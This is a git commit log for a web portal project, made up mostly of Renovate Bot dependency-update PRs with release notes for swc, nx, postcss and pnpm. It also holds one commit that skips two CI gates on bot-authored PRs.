- **(es/minifier)** Escape control characters when converting strings to template literals ([#&#8203;11464](https://github.com/swc-project/swc/issues/11464)) ([028551f](https://github.com/swc-project/swc/commit/028551f4f0d00c3880df8af324d3b5eb2637cfb9))

- **(es/minifier)** Handle unused parameters with default values ([#&#8203;11494](https://github.com/swc-project/swc/issues/11494)) ([6ed1ee9](https://github.com/swc-project/swc/commit/6ed1ee9ca1e816aedfe0387d240479c1dbfcffef))

- **(es/module)** Preserve ./ prefix for hidden directory imports ([#&#8203;11489](https://github.com/swc-project/swc/issues/11489)) ([a005391](https://github.com/swc-project/swc/commit/a0053916e786711be01f73c767e3c2283c9fb4f6))

- **(es/parser)** Validate dynamic import argument count ([#&#8203;11462](https://github.com/swc-project/swc/issues/11462)) ([2f67591](https://github.com/swc-project/swc/commit/2f67591e2c9bb41a711d739e6bc81d20a673bfd6))

- **(es/parser)** Allow compilation with --no-default-features ([#&#8203;11460](https://github.com/swc-project/swc/issues/11460)) ([b70c5f8](https://github.com/swc-project/swc/commit/b70c5f8ade85c3e4a17e0fed61ce850ab6b1f53c))

- **(es/parser)** Skip emitting TS1102 in TypeScript mode ([#&#8203;11463](https://github.com/swc-project/swc/issues/11463)) ([e6f5b06](https://github.com/swc-project/swc/commit/e6f5b06561c1d87d0235aea5cfce9c253afdcc74))

- **(es/parser)** Reject ambiguous generic arrow functions in TSX mode ([#&#8203;11491](https://github.com/swc-project/swc/issues/11491)) ([ac00915](https://github.com/swc-project/swc/commit/ac00915ba027bbb2c805ad0abd8d945d7dcf4055))

- **(es/parser)** Disallow NumericLiteralSeparator with BigInts ([#&#8203;11510](https://github.com/swc-project/swc/issues/11510)) ([6b3644b](https://github.com/swc-project/swc/commit/6b3644b9ca58530a5e0bb92586bdf8210b89124f))

- **(es/react)** Preserve HTML entity-encoded whitespace in JSX ([#&#8203;11474](https://github.com/swc-project/swc/issues/11474)) ([7d433a9](https://github.com/swc-project/swc/commit/7d433a95ccc372535b4f5b9dc691cbd313c2f388))

- **(es/renamer)** Prevent duplicate parameter names with destructuring patterns ([#&#8203;11456](https://github.com/swc-project/swc/issues/11456)) ([e25a2c8](https://github.com/swc-project/swc/commit/e25a2c82db0e33c098a8ecd19bb933115e74ac1a))

- **(es/testing)** Skip update when expected output has invalid code ([#&#8203;11469](https://github.com/swc-project/swc/issues/11469)) ([2be6b8a](https://github.com/swc-project/swc/commit/2be6b8a1fe3f55c30655f82dcf0cf6c04aa9a331))

- **(es/typescript)** Don't mark enums with opaque members as pure ([#&#8203;11452](https://github.com/swc-project/swc/issues/11452)) ([b713fae](https://github.com/swc-project/swc/commit/b713fae8cc1b4fb7a45ffb4bf4a7e9d1facb651f))

- **(preset-env)** Distinguish unknown browser vs empty config ([#&#8203;11457](https://github.com/swc-project/swc/issues/11457)) ([1310957](https://github.com/swc-project/swc/commit/1310957bec15ce2352dcb2dde8adb77664625c69))

##### Documentation

- Replace swc.config.js references with .swcrc ([#&#8203;11485](https://github.com/swc-project/swc/issues/11485)) ([fec8d2c](https://github.com/swc-project/swc/commit/fec8d2cbb8e7f5eaaed369dd1b45347839fa0c18))

##### Features

- **(cli)** Add --root-mode argument for .swcrc resolution ([#&#8203;11501](https://github.com/swc-project/swc/issues/11501)) ([b53a0e2](https://github.com/swc-project/swc/commit/b53a0e2a98a7556c5f8a74270a717e4078793053))

- **(es/module)** Make module transforms optional via `module` feature ([#&#8203;11509](https://github.com/swc-project/swc/issues/11509)) ([b94a178](https://github.com/swc-project/swc/commit/b94a17851c9032e0e17c3c9912cfdb60d00722f4))

- **(es/regexp)** Implement unicode property escape transpilation ([#&#8203;11472](https://github.com/swc-project/swc/issues/11472)) ([a2e0ba0](https://github.com/swc-project/swc/commit/a2e0ba0151fdde2c11c093d3ab2960410f4ffb86))

- **(es/transformer)** Merge ES3 hooks into swc\_ecma\_transformer ([#&#8203;11503](https://github.com/swc-project/swc/issues/11503)) ([5efcac9](https://github.com/swc-project/swc/commit/5efcac946f5cf88e900da2867dc8b92c411bdd18))

##### Miscellaneous Tasks

- **(es/minifier)** Extend OrderedChain to support more node types ([#&#8203;11477](https://github.com/swc-project/swc/issues/11477)) ([aa9d789](https://github.com/swc-project/swc/commit/aa9d789953fc8e62e07b91e25137573d3a4d70d7))

##### Performance

- **(bindings)** Optimize string handling by avoiding unnecessary clones ([#&#8203;11490](https://github.com/swc-project/swc/issues/11490)) ([81daaaa](https://github.com/swc-project/swc/commit/81daaaa054a579fd2b425c5362b33ffc90471e6f))

- **(es/codegen)** Make `commit_pending_semi` explicit in `write_punct` ([#&#8203;11492](https://github.com/swc-project/swc/issues/11492)) ([5a27fc0](https://github.com/swc-project/swc/commit/5a27fc0c49872098339bf897957af5a6b459abf9))

- **(es/es2015)** Port ES2015 transforms to hook-based visitors ([#&#8203;11484](https://github.com/swc-project/swc/issues/11484)) ([a54eb0e](https://github.com/swc-project/swc/commit/a54eb0ef7518f759e52636162870f90233ef8532))

- **(es/es3)** Use hooks pattern for single AST traversal ([#&#8203;11483](https://github.com/swc-project/swc/issues/11483)) ([a139fba](https://github.com/swc-project/swc/commit/a139fba3b9aca632e02e64333312c989f10e0ef8))

- **(es/minifier)** Use combined AST traversal ([#&#8203;11471](https://github.com/swc-project/swc/issues/11471)) ([c611663](https://github.com/swc-project/swc/commit/c611663e9f22293233d5bd8084c3de703dec8b14))

- **(es/transformer)** Add inline hint ([#&#8203;11508](https://github.com/swc-project/swc/issues/11508)) ([d72c9df](https://github.com/swc-project/swc/commit/d72c9df7e390389c3f9a2645341f920c5d42d0db))

##### Refactor

- **(es/compat)** Put ES3 crates behind feature flag ([#&#8203;11480](https://github.com/swc-project/swc/issues/11480)) ([d5a8d84](https://github.com/swc-project/swc/commit/d5a8d8447a6a4517372a5d52151e6732d74a1ade))

##### Testing

- **(es/minifier)** Add test case for `merge_imports` order preservation ([#&#8203;11458](https://github.com/swc-project/swc/issues/11458)) ([b874a05](https://github.com/swc-project/swc/commit/b874a05d5cde160c4d40f0d73f871fdb1746a753))

- **(es/parser)** Add error tests for import.source and import.defer with too many args ([#&#8203;11466](https://github.com/swc-project/swc/issues/11466)) ([7313462](https://github.com/swc-project/swc/commit/731346282ebdb11fd3a1fb6b558cc83982e4afcb))

- **(es/parser)** Check `handler.has_errors()` in test error parsing ([#&#8203;11487](https://github.com/swc-project/swc/issues/11487)) ([fade647](https://github.com/swc-project/swc/commit/fade647452ed288d42336a4c5580b49bd4953e23))

- Replace deprecated `cargo_bin` function with `cargo_bin!` macro ([#&#8203;11461](https://github.com/swc-project/swc/issues/11461)) ([73f77b6](https://github.com/swc-project/swc/commit/73f77b6331b1501592315b78babcc96d9ae9b483))

### [`v1.15.10`](https://github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11510---2026-01-19)

[Compare Source](https://github.com/swc-project/swc/compare/v1.15.8...v1.15.10)

##### Bug Fixes

- **(ci)** Handle merged PRs separately in milestone manager ([#&#8203;11409](https://github.com/swc-project/swc/issues/11409)) ([3554268](https://github.com/swc-project/swc/commit/3554268dcb7c8af4abfe0a06e61a382a23c4a3eb))

- **(es/compat)** Preserve this context in nested arrow functions ([#&#8203;11423](https://github.com/swc-project/swc/issues/11423)) ([f2bdaf2](https://github.com/swc-project/swc/commit/f2bdaf27d869a6d54a3dd47cd47e63c5b39a4d5c))

- **(es/es2017)** Replace `this` in arrow functions during async-to-generator ([#&#8203;11450](https://github.com/swc-project/swc/issues/11450)) ([a993da6](https://github.com/swc-project/swc/commit/a993da6fb6e43bdbc2cd3a288c8b5be1b79e08c0))

##### Features

- **(bindings/wasm)** Enable ecma\_lints feature to support semantic error detection ([#&#8203;11414](https://github.com/swc-project/swc/issues/11414)) ([1faa4a5](https://github.com/swc-project/swc/commit/1faa4a57454ef3932c75a1aca7dd36e37bb215d3))

- **(es/hooks)** Implement VisitMutHook for Either type ([#&#8203;11428](https://github.com/swc-project/swc/issues/11428)) ([395c85e](https://github.com/swc-project/swc/commit/395c85e921eeb0cad661c8714d97372970cbfb6c))

- **(es/hooks)** Implement VisitMutHook for Option<H> ([#&#8203;11429](https://github.com/swc-project/swc/issues/11429)) ([0bf1954](https://github.com/swc-project/swc/commit/0bf195421de167b3a01f710be7578d1cedf033b9))

- **(es/hooks)** Add VisitHook trait for immutable AST visitors ([#&#8203;11437](https://github.com/swc-project/swc/issues/11437)) ([3efb41d](https://github.com/swc-project/swc/commit/3efb41d97e2cdb1d593c55c841c016eb2958ee72))

- **(es/minifier)** Improve nested template literal evaluation ([#&#8203;11411](https://github.com/swc-project/swc/issues/11411)) ([147df2f](https://github.com/swc-project/swc/commit/147df2f0233c4b701311675dc7c237ee18f0c854))

- **(es/minifier)** Remove inlined IIFE arg and param ([#&#8203;11436](https://github.com/swc-project/swc/issues/11436)) ([2bc5d40](https://github.com/swc-project/swc/commit/2bc5d402ade64f84523bfa7cf0c2da88ef494ad6))

- **(es/minifier)** Remove inlined IIFE arg and param ([#&#8203;11446](https://github.com/swc-project/swc/issues/11446)) ([baa1ae3](https://github.com/swc-project/swc/commit/baa1ae3510668f9969bf5cd73ba4e3d66aa74fa0))

##### Miscellaneous Tasks

- **(deps)** Update `rkyv` ([#&#8203;11419](https://github.com/swc-project/swc/issues/11419)) ([432197b](https://github.com/swc-project/swc/commit/432197bdc7c574fbd8829ad5a6e0b3108ccb1d3c))

- **(deps)** Update lru to 0.16.3 ([#&#8203;11438](https://github.com/swc-project/swc/issues/11438)) ([67c2d75](https://github.com/swc-project/swc/commit/67c2d752910c945732cf4deebf2af0f8a110e880))

- **(deps)** Update browserslist-data to v0.1.5 ([#&#8203;11454](https://github.com/swc-project/swc/issues/11454)) ([e9f78f0](https://github.com/swc-project/swc/commit/e9f78f032f7d85a500037cdc82babdcf2d2be99a))

- **(helpers)** Replace MagicString with ast-grep's built-in edit API ([#&#8203;11410](https://github.com/swc-project/swc/issues/11410)) ([a3f0d33](https://github.com/swc-project/swc/commit/a3f0d33916f7ad225d8320c499a8dd0f7b46e5b9))

- **(hstr/wtf8)** Address legacy FIXME comments by switching to derives ([#&#8203;11416](https://github.com/swc-project/swc/issues/11416)) ([f03bfd8](https://github.com/swc-project/swc/commit/f03bfd8dd15630acbcdb011d64bdea5c1a0ccf79))

##### Performance

- **(es/codegen, es/utils)** Migrate to dragonbox\_ecma for faster Number::toString ([#&#8203;11412](https://github.com/swc-project/swc/issues/11412)) ([b7978cc](https://github.com/swc-project/swc/commit/b7978cc9dbe92b26d781748d09ad50e2f1a6343b))

- **(es/react)** Optimize JSX transforms to reduce allocations ([#&#8203;11425](https://github.com/swc-project/swc/issues/11425)) ([2a20cb6](https://github.com/swc-project/swc/commit/2a20cb6e34bed4260efe2a1b87165f52f9b3d45c))

##### Refactor

- **(es)** Improve TypeScript transform configuration structure ([#&#8203;11434](https://github.com/swc-project/swc/issues/11434)) ([f33a975](https://github.com/swc-project/swc/commit/f33a975c74f63f8d8e3c05db5166912c432ae18b))

- **(es/minifier)** Migrate MinifierPass to Pass trait ([#&#8203;11442](https://github.com/swc-project/swc/issues/11442)) ([a41e631](https://github.com/swc-project/swc/commit/a41e63193c86290f20fec6529d7aa944562df713))

- **(es/minifier)** Improve tpl to str ([#&#8203;11415](https://github.com/swc-project/swc/issues/11415)) ([0239523](https://github.com/swc-project/swc/commit/0239523c3863f3c0c8f8a3c7d486b64213fc60ff))

- **(es/react)** Port to VisitMutHook ([#&#8203;11418](https://github.com/swc-project/swc/issues/11418)) ([9604d9c](https://github.com/swc-project/swc/commit/9604d9cc8a3d265d66ab32c1f70c25031b09cc18))

- **(es/transformer)** Remove OptionalHook wrapper in favor of Option<H> ([#&#8203;11430](https://github.com/swc-project/swc/issues/11430)) ([72da6bd](https://github.com/swc-project/swc/commit/72da6bdd526eff0fdde76f22a978cbec736b9d3c))

- **(es/transforms)** Migrate TypeScript transform to Pass trait ([#&#8203;11439](https://github.com/swc-project/swc/issues/11439)) ([dd007c6](https://github.com/swc-project/swc/commit/dd007c64a691d37f6d4903624a8dfa39d389f912))

##### Testing

- **(es)** Enable benchmark for `swc` ([#&#8203;11420](https://github.com/swc-project/swc/issues/11420)) ([3a50a25](https://github.com/swc-project/swc/commit/3a50a2592784a418ef3312b0f445bde2762959ca))

- Disable LTO for benchmarks ([#&#8203;11421](https://github.com/swc-project/swc/issues/11421)) ([af3c2d3](https://github.com/swc-project/swc/commit/af3c2d36d772eab7905db717f8be2080fd14abec))

- Use rstest as the test framework ([#&#8203;11417](https://github.com/swc-project/swc/issues/11417)) ([fae258f](https://github.com/swc-project/swc/commit/fae258f530d2f54fa148f90225e9a7740de57d96))

##### Ci

- Collapse preivous `claude[bot]` PR review comments ([affb6a2](https://github.com/swc-project/swc/commit/affb6a29de9a511148a3483149aa5a574720fccf))

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/helpers)</summary>

### [`v0.5.21`](https://github.com/swc-project/swc/compare/c2f628aba81c4d9c9e41c31a70e593902828584b...52303ecaacdec85cac9b3200e1ab1dd3863d3f5c)

[Compare Source](https://github.com/swc-project/swc/compare/c2f628aba81c4d9c9e41c31a70e593902828584b...52303ecaacdec85cac9b3200e1ab1dd3863d3f5c)

### [`v0.5.20`](https://github.com/swc-project/swc/compare/80296b38b16652f395db75bec0e80c87da0803ce...c2f628aba81c4d9c9e41c31a70e593902828584b)

[Compare Source](https://github.com/swc-project/swc/compare/80296b38b16652f395db75bec0e80c87da0803ce...c2f628aba81c4d9c9e41c31a70e593902828584b)

### [`v0.5.19`](https://github.com/swc-project/swc/compare/3c24b02a9c63fa32dc8389c08a01f36249029da7...80296b38b16652f395db75bec0e80c87da0803ce)

[Compare Source](https://github.com/swc-project/swc/compare/3c24b02a9c63fa32dc8389c08a01f36249029da7...80296b38b16652f395db75bec0e80c87da0803ce)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/19
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 16:18:54 +02:00
julien f9ed3cf82a chore(ci): skip perf and commits gates on Renovate-authored PRs (#23)
CI / commits (push) Has been skipped
CI / check (push) Successful in 2m20s
CI / scan (push) Failing after 2m34s
CI / a11y (push) Successful in 1m7s
CI / perf (push) Successful in 3m43s
## Summary
Renovate's dep-bump PRs run the full pipeline today (`check`, `scan`, `commits`, `perf`, `a11y`). Two of those gates have near-zero signal on a typical bump and dominate the wall-clock cost:

- **`perf`** — Lighthouse build + 3-iteration median across the critical-routes list. 3-5 min per PR for a metric that is essentially zero on a patch/minor dep bump (the SPA today serves the static placeholder; even with real routes a typical bump stays inside the median noise floor).
- **`commits`** — re-validates commit messages that Renovate generates from a Conventional-Commits-conformant template. Tautological.

Skip both when the PR author is the `apf-portal-bot` Gitea user. The `push` event on `main` still runs the full pipeline post-merge, so any regression caught by `perf` is detected seconds after merge — fast enough to revert.

Net result: Renovate PRs run `check + scan + a11y` only, ≈ 4-5 min faster per PR.

## ADR amendment

ADR-0017 is amended in the same change:
- "Where Lighthouse CI runs" table now distinguishes human PR / bot PR / push to main / scheduled / local.
- New "Pre-merge gating policy: human PRs vs bot PRs" subsection records the rationale and the human-takeover edge case.
- §Confirmation entry for `perf` is reworded to reflect the conditional gate.

## Test plan
- [ ] After merge, the next Renovate-triggered PR (auto-rebase or new bump) shows only `check`, `scan`, `a11y` queued — no `perf`, no `commits`.
- [ ] A human-opened PR (e.g. this one) still queues all 5 gates.
- [ ] On `push` to `main` post-merge, the full pipeline runs including `perf`.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #23
2026-05-05 16:12:19 +02:00
APF Portal Bot 0c6a3f2b27 chore(deps): update dependency nx to v22.7.1 (#15)
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m5s
CI / scan (push) Failing after 2m36s
CI / a11y (push) Successful in 2m25s
CI / perf (push) Successful in 4m35s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [nx](https://nx.dev) ([source](https://github.com/nrwl/nx/tree/HEAD/packages/nx)) | devDependencies | patch | [`22.7.0` -> `22.7.1`](https://renovatebot.com/diffs/npm/nx/22.7.0/22.7.1) |

---

### Release Notes

<details>
<summary>nrwl/nx (nx)</summary>

### [`v22.7.1`](https://github.com/nrwl/nx/releases/tag/22.7.1)

[Compare Source](https://github.com/nrwl/nx/compare/22.7.0...22.7.1)

#### 22.7.1 (2026-04-28)

##### 🩹 Fixes

- **core:** prevent spinner flicker when sync applying ([#&#8203;35445](https://github.com/nrwl/nx/pull/35445))
- **core:** exclude hyperfine env vars from daemon env reflection ([5095b4be7d](https://github.com/nrwl/nx/commit/5095b4be7d))
- **core:** provide actionable feedback when running migrations and pre-install fails with npm peer dep errors ([#&#8203;33961](https://github.com/nrwl/nx/pull/33961), [#&#8203;33942](https://github.com/nrwl/nx/issues/33942))
- **core:** consider virtual trees in multiGlobWithWorkspaceContext ([#&#8203;35447](https://github.com/nrwl/nx/pull/35447), [#&#8203;31805](https://github.com/nrwl/nx/issues/31805), [#&#8203;35373](https://github.com/nrwl/nx/issues/35373), [#&#8203;32588](https://github.com/nrwl/nx/issues/32588))
- **core:** surface ./nx --version stderr and force devDeps install ([#&#8203;35469](https://github.com/nrwl/nx/pull/35469))
- **core:** keep continuous children alive when nx:noop orchestrator completes ([#&#8203;35388](https://github.com/nrwl/nx/pull/35388))
- **core:** start TUI event reader synchronously in enter() to prevent stdin race ([#&#8203;35465](https://github.com/nrwl/nx/pull/35465), [#&#8203;34619](https://github.com/nrwl/nx/issues/34619), [#&#8203;34144](https://github.com/nrwl/nx/issues/34144))
- **core:** use require for global to local Nx handoff so Windows drive paths work ([#&#8203;35478](https://github.com/nrwl/nx/pull/35478))
- **core:** prevent daemon shutdown from cache-poisoned in-process nx loads ([#&#8203;35482](https://github.com/nrwl/nx/pull/35482), [#&#8203;35444](https://github.com/nrwl/nx/issues/35444), [#&#8203;34463](https://github.com/nrwl/nx/issues/34463), [#&#8203;34111](https://github.com/nrwl/nx/issues/34111))
- **detox:** generate valid JSON in .detoxrc for non-expo apps ([eb2fa8ced4](https://github.com/nrwl/nx/commit/eb2fa8ced4))
- **js:** include extended tsconfigs from project references in typecheck inputs ([#&#8203;35457](https://github.com/nrwl/nx/pull/35457))
- **linter:** detect root lint target added in same generator run ([#&#8203;35296](https://github.com/nrwl/nx/pull/35296), [#&#8203;23147](https://github.com/nrwl/nx/issues/23147), [#&#8203;34531](https://github.com/nrwl/nx/issues/34531))
- **misc:** exclude stories and specs from tailwind content scanning ([#&#8203;35470](https://github.com/nrwl/nx/pull/35470))
- **misc:** resolve pnpm catalog: refs in version lookups ([#&#8203;35459](https://github.com/nrwl/nx/pull/35459), [#&#8203;35453](https://github.com/nrwl/nx/issues/35453))
- **nextjs:** use cached project graph in withNx ([#&#8203;35475](https://github.com/nrwl/nx/pull/35475), [#&#8203;34518](https://github.com/nrwl/nx/issues/34518), [#&#8203;32880](https://github.com/nrwl/nx/issues/32880))
- **node:** include tsconfig input in node-app esbuild scaffold ([#&#8203;35466](https://github.com/nrwl/nx/pull/35466))
- **release:** handle short and full project names in commit scopes ([#&#8203;34219](https://github.com/nrwl/nx/pull/34219))
- **testing:** convert executor-based jest.config.ts and preserve type-only imports ([#&#8203;35286](https://github.com/nrwl/nx/pull/35286), [#&#8203;34593](https://github.com/nrwl/nx/issues/34593))

##### ❤️ Thank You

- Claude
- Craigory Coppola [@&#8203;AgentEnder](https://github.com/AgentEnder)
- Jack Hsu [@&#8203;jaysoo](https://github.com/jaysoo)
- Jason Jean [@&#8203;FrozenPandaz](https://github.com/FrozenPandaz)
- Leosvel Pérez Espinosa [@&#8203;leosvelperez](https://github.com/leosvelperez)
- ShwethaSundar

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/15
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 15:06:07 +02:00
APF Portal Bot c3d098502f chore(deps): update dependency postcss to v8.5.14 (#16)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 2m1s
CI / check (push) Successful in 2m24s
CI / a11y (push) Successful in 52s
CI / perf (push) Successful in 3m6s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [postcss](https://postcss.org/) ([source](https://github.com/postcss/postcss)) | devDependencies | patch | [`8.5.12` -> `8.5.14`](https://renovatebot.com/diffs/npm/postcss/8.5.12/8.5.14) |

---

### Release Notes

<details>
<summary>postcss/postcss (postcss)</summary>

### [`v8.5.14`](https://github.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8514)

[Compare Source](https://github.com/postcss/postcss/compare/8.5.13...8.5.14)

- Fixed custom syntax regression (by [@&#8203;43081j](https://github.com/43081j)).

### [`v8.5.13`](https://github.com/postcss/postcss/blob/HEAD/CHANGELOG.md#8513)

[Compare Source](https://github.com/postcss/postcss/compare/8.5.12...8.5.13)

- Fixed `postcss-scss` commend regression.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #16
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 14:59:53 +02:00
APF Portal Bot 4ee2409771 chore(deps): update pnpm to v10.33.3 (#17)
CI / check (push) Successful in 1m34s
CI / commits (push) Has been skipped
CI / scan (push) Failing after 1m27s
CI / a11y (push) Successful in 1m42s
CI / perf (push) Successful in 2m34s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [pnpm](https://pnpm.io) ([source](https://github.com/pnpm/pnpm/tree/HEAD/pnpm)) | packageManager | patch | [`10.33.2` -> `10.33.3`](https://renovatebot.com/diffs/npm/pnpm/10.33.2/10.33.3) |

---

### Release Notes

<details>
<summary>pnpm/pnpm (pnpm)</summary>

### [`v10.33.3`](https://github.com/pnpm/pnpm/releases/tag/v10.33.3): pnpm 10.33.3

[Compare Source](https://github.com/pnpm/pnpm/compare/v10.33.2...v10.33.3)

#### Patch Changes

- When self-updating from v10's `@pnpm/exe` to v11+ on Intel macOS (darwin-x64), `pnpm self-update` now transparently switches to the JS-only `pnpm` package on npm instead of installing `@pnpm/exe@v11+` (which doesn't ship a working binary for Intel Macs because of an upstream Node.js SEA bug — see [#&#8203;11423](https://github.com/pnpm/pnpm/issues/11423) and [nodejs/node#62893](https://github.com/nodejs/node/issues/62893)). Without this, the self-update would silently leave the user with no working `pnpm` binary. The new install requires Node.js to be available on `PATH`; a warning is printed when the swap happens. All other host/version combinations are unchanged.
- `pnpm self-update` (with no version argument) no longer downgrades pnpm when the registry's `latest` dist-tag points to an older release than the currently active version. Run `pnpm self-update latest` to force a downgrade [#&#8203;11418](https://github.com/pnpm/pnpm/issues/11418).

<!-- sponsors -->

#### Platinum Sponsors

<table>
  <tbody>
    <tr>
      <td align="center" valign="middle">
        <a href="https://bit.cloud/?utm_source=pnpm&utm_medium=release_notes" target="_blank"><img src="https://pnpm.io/img/users/bit.svg" width="80" alt="Bit"></a>
      </td>
    </tr>
  </tbody>
</table>

#### Gold Sponsors

<table>
  <tbody>
    <tr>
      <td align="center" valign="middle">
        <a href="https://sanity.io/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/sanity.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/sanity_light.svg" />
            <img src="https://pnpm.io/img/users/sanity.svg" width="120" alt="Sanity" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://discord.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/discord.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/discord_light.svg" />
            <img src="https://pnpm.io/img/users/discord.svg" width="220" alt="Discord" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://vite.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank"><img src="https://pnpm.io/img/users/vitejs.svg" width="42" alt="Vite"></a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://serpapi.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/serpapi_dark.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/serpapi_light.svg" />
            <img src="https://pnpm.io/img/users/serpapi_dark.svg" width="160" alt="SerpApi" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://coderabbit.ai/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/coderabbit.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/coderabbit_light.svg" />
            <img src="https://pnpm.io/img/users/coderabbit.svg" width="220" alt="CodeRabbit" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://stackblitz.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/stackblitz.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/stackblitz_light.svg" />
            <img src="https://pnpm.io/img/users/stackblitz.svg" width="190" alt="Stackblitz" />
          </picture>
        </a>
      </td>
    </tr>
    <tr>
      <td align="center" valign="middle">
        <a href="https://workleap.com/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/workleap.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/workleap_light.svg" />
            <img src="https://pnpm.io/img/users/workleap.svg" width="190" alt="Workleap" />
          </picture>
        </a>
      </td>
      <td align="center" valign="middle">
        <a href="https://nx.dev/?utm_source=pnpm&utm_medium=release_notes" target="_blank">
          <picture>
            <source media="(prefers-color-scheme: light)" srcset="https://pnpm.io/img/users/nx.svg" />
            <source media="(prefers-color-scheme: dark)" srcset="https://pnpm.io/img/users/nx_light.svg" />
            <img src="https://pnpm.io/img/users/nx.svg" width="50" alt="Nx" />
          </picture>
        </a>
      </td>
    </tr>
  </tbody>
</table>

<!-- sponsors end -->

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/17
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
